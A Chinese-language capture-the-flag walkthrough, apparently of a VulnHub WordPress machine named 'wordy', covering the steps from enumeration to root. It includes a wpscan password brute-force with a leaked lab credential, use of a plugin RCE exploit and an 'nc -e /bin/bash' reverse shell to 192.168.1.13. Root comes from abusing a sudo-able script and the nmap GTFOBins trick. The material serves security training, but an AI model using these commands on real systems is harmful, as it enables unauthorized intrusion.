发现重定向到http://wordy/这个网站，我们把它加入hosts文件中
发现主页是一个wordpress网站，对其进行扫描

发现了很多用户，记录下来，然后尝试一下登录界面的弱口令，没有试出弱口令，那就尝试爆破，因为爆破路径也没有什么有趣的，那攻击向量只有web喝ssh，web又只有这个登录页面是暴露的。
根据作者的提示，生成一下密码字典
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
尝试爆破
wpscan --url http://wordy -U users -P passwords.txt
得到了凭证
mark:helpdesk01
🚪🚶 获取权限
登录上之后，发现有一个Activity Monitor，搜索一下有没有漏洞
searchsploit Activity

WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection | php/webapps/45274.html
WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2) | php/webapps/50110.py
···
我们使用下面那个，执行之后输入ip，username，password，然后用nc反弹shell。
nc -e /bin/bash 192.168.1.13 443
🛡️ 提升权限
用linpeas.sh辅助提权脚本枚举信息
这里有俩个有趣的文件，我们可以在things-to-do.txt中发现用户gaham的凭证
我们用ssh登录上去，后进行一些枚举，发现可以以jens身份运行backups.sh脚本，且因为gaham用户是devs组，对该脚本有修改权限，我们可以在里面加一个/bin/bash来启动一个jens用户的shell
sudo -u jens ./backups.sh
或者jens的shell后，再次使用sudo -l进行检查
然后在GTFOBins搜索nmap
https://gtfobins.github.io/gtfobins/nmap/#sudo
最终拿到root的shell
